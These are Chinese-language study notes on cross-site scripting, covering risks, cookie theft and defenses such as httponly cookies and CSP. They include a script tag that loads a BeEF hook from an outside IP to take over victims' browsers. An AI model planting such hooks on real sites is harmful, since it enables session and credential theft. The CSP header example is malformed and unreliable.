xss笔记总结
——— 鲁迅曾经说过,乱点链接的人就该中马。
XSS(跨站脚本攻击)Cross-Site Scripting
啥是xss :xss是被动式、注入攻击,把恶意代码想办法注入到你的程序中,获取需要的东西。
恶意代码通常是JavaScript、Java组件,VBScript,ActiveX,Flash或者就是原生的HTML。
攻击者通过在目标网站上注入恶意脚本,使之在用户的浏览器上运行。利用这些恶意脚本,攻击者可获取用户的敏感信息如Cookie、SessionID 等,进而危害数据安全。
XSS的风险:
Web应用若存在XSS漏洞,就会有如下风险:
用户的浏览器中运行攻击者的恶意脚本,从而导致Cookie信息被窃取,用户身份被报名顶替。
攻击者能获得用户的权限来恶意使用Web应用的功能。
向用户显示伪造的输入表单,通过钓鱼式攻击窃取用户的个人信息。
1、盗用cookie,获取敏感信息
被攻击者已经登陆了该网站,所以持有该网站发送想用户浏览器发送的cookie
- cookie是浏览器向客户端发送的,用于识别身份,存储信息的。
客户端浏览器发送请求发送到服务器—》服务器—》发送HttpResponse响应(包含cookie)—》客户端浏览器保存cookie—》再次向该站点服务器发送请求是时,HttpRequest请求会包含该cookie—》服务器确定该浏览器信息,响应数据。
2、利用Flash钓鱼,取得更高权限
3、钓鱼欺骗
beef-xss搭建钓鱼服务器
让被攻击者浏览加载<script src="http://47.94.236.117:3000/hook.js"><script>
钩子加载直接获取服务器
=cookie获取
跳转指向
社工钓鱼
配合漏洞
4、网站挂马
5、垃圾信息发送
6、劫持用户Web行为
7、XSS蠕虫
xss 防御
XSS 防御的总体思路是:对输入(和 URL 参数)进行过滤,对输出进行编码。 也就是对提交的所有内容进行过滤,对 url 中的参数进行过滤,过滤掉会导致脚 本执行的相关内容;然后对动态输出到页面的内容进行 html 编码,使脚本无法 在浏览器中执行。
—xss修复
1、进行字符过滤,过滤敏感字符
ini_setting
2、开启session.cookie_httponly 设置为1
session.cookie_httponly=1
ini_set(“session.cookie_httponly”,1);
3、csp策略
设置CSP(Content Securitu Policy)
header(“Content.Security.policy.img.src”self” “);